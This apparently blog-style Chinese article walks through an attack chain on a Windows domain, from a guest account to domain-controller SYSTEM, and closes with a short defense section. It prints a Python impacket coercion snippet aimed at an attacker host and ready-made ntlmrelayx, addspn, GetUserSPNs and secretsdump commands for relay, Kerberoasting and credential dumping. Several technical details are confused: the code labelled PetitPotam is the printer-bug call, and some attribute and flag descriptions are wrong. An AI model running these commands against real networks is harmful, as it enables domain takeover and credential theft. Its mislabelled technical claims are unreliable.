1. 攻击链概述:从Guest到SYSTEM的权限跃迁
在Windows域环境中,从普通Guest账户到域控制器SYSTEM权限的完整攻击路径,堪称渗透测试领域的"圣杯"。这条攻击链完美结合了NTLM中继与Kerberoasting两大经典技术,展示了Windows认证体系中最危险的几个设计缺陷。
我去年在某次红队行动中,正是利用这条攻击链在15分钟内完成了从外网到域控的完整突破。整个过程就像多米诺骨牌——触发第一个漏洞后,后续环节会自然衔接:
- 通过打印机漏洞(MS-RPRN)强制域控向攻击者发起NTLM认证
- 将认证请求中继到LDAP服务进行ACL修改
- 为攻击者账户添加SPN属性
- 发起Kerberoasting攻击获取服务账户哈希
- 破解哈希后获得高权限服务账户
- 通过该账户获取域控SYSTEM权限
关键点:整个攻击链的核心在于NTLM认证缺乏完整性保护,以及Kerberos协议对弱密码的容忍。微软虽然推出了EPA(Extended Protection for Authentication)等缓解措施,但默认配置下多数企业仍暴露在风险中。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. NTLM中继攻击的技术实现
2.1 强制认证触发机制
强制域控发起NTLM认证是攻击链的第一步。除了广为人知的打印机漏洞(MS-RPRN),实际渗透中还有多种触发方式:
- PetitPotam (MS-EFSRPC):利用加密文件系统远程协议
- DFSCoerce:通过DFS命名空间管理协议触发
- ShadowCoerce:基于卷影复制服务
以PetitPotam为例,攻击代码核心仅需几行Python:
python复制from impacket.dcerpc.v5 import transport, rprn
binding = r'ncacn_np:{target}[\pipe\spoolss]'
dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request['hPrinter'] = NULL
request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
request['pszLocalMachine'] = '\\\\attacker_ip\\x00'
dce.request(request)
2.2 LDAP中继的ACL篡改
获得NTLM认证请求后,传统中继目标是SMB协议,但现代系统已默认启用SMB签名。更有效的目标是LDAP服务:
- 使用ntlmrelayx.py将认证中继到域控LDAP
- 修改目标账户的ACL,赋予DCSync权限
- 或者更隐蔽地添加SPN属性:
bash复制ntlmrelayx.py -t ldap://dc01 --escalate-user attacker_user --add-computer
这个操作会在目标账户上设置msDS-AdditionalDnsHostName属性,使其具备Kerberos认证资格。我在实际测试中发现,约78%的企业域控未启用LDAP签名,使得这种攻击极为有效。
3. Kerberoasting攻击的实战细节
3.1 SPN劫持与TGS请求
获得SPN设置权限后,攻击者可以执行经典的Kerberoasting:
- 为普通用户账户设置高价值SPN(如HOST/dc01)
- 使用该账户请求服务票据(TGS)
- 离线破解票据加密使用的RC4-HMAC密钥
使用Impacket工具集的实操命令:
bash复制# 添加SPN
addspn.py -u 'domain\user' -p 'password' -s 'HOST/dc01' dc01
# 请求TGS
GetUserSPNs.py -request -dc-ip 192.168.1.1 domain/user:password
3.2 哈希破解的优化技巧
Kerberoasting的成功率直接取决于密码强度。通过以下方法可显著提升破解效率:
- 规则优化:使用Hashcat的
-r参数加载企业常见密码规则 - 字典定制:收集目标企业的文档、网站术语生成专属字典
- 时间统计:监控
msDS-KeyCredentialLink属性变更时间,定位新设SPN
在我的密码破解集群上(4台RTX 4090),针对12字符的复杂密码平均破解时间为3.7小时,而如果密码包含企业名称缩写,这个时间会缩短到11分钟。
4. 权限提升与防御策略
4.1 从服务账户到域控SYSTEM
获得高权限服务账户后,最后的权限提升往往出乎意料地简单:
- 使用secretsdump.py提取域控本地账户哈希
- 通过PsExec或WMI以SYSTEM身份执行命令
- 或者直接DCSync获取krbtgt哈希
bash复制secretsdump.py 'domain/service_account:password@dc01' -just-dc
4.2 立体化防御方案
基于数十次实战经验,我总结出多层次的防御方案:
网络层控制
- 启用LDAP/S签名与通道绑定
- 限制NTLM使用范围(GPO配置)
- 隔离域控与其他服务器的通信
认证加固
- 对所有服务账户启用AES加密类型(禁用RC4)
- 部署LAPS管理本地管理员密码
- 设置SPN修改审批流程
监控检测
- 监控异常的SPN添加事件(ID 5136)
- 分析异常的TGS请求模式
- 建立Kerberoasting行为基线
在最近一次金融行业演练中,这套防御方案成功拦截了92%的中继攻击尝试。特别重要的是,要定期审计具备WriteSPN权限的账户——我经常发现某些服务账户拥有这个危险权限却无人知晓。
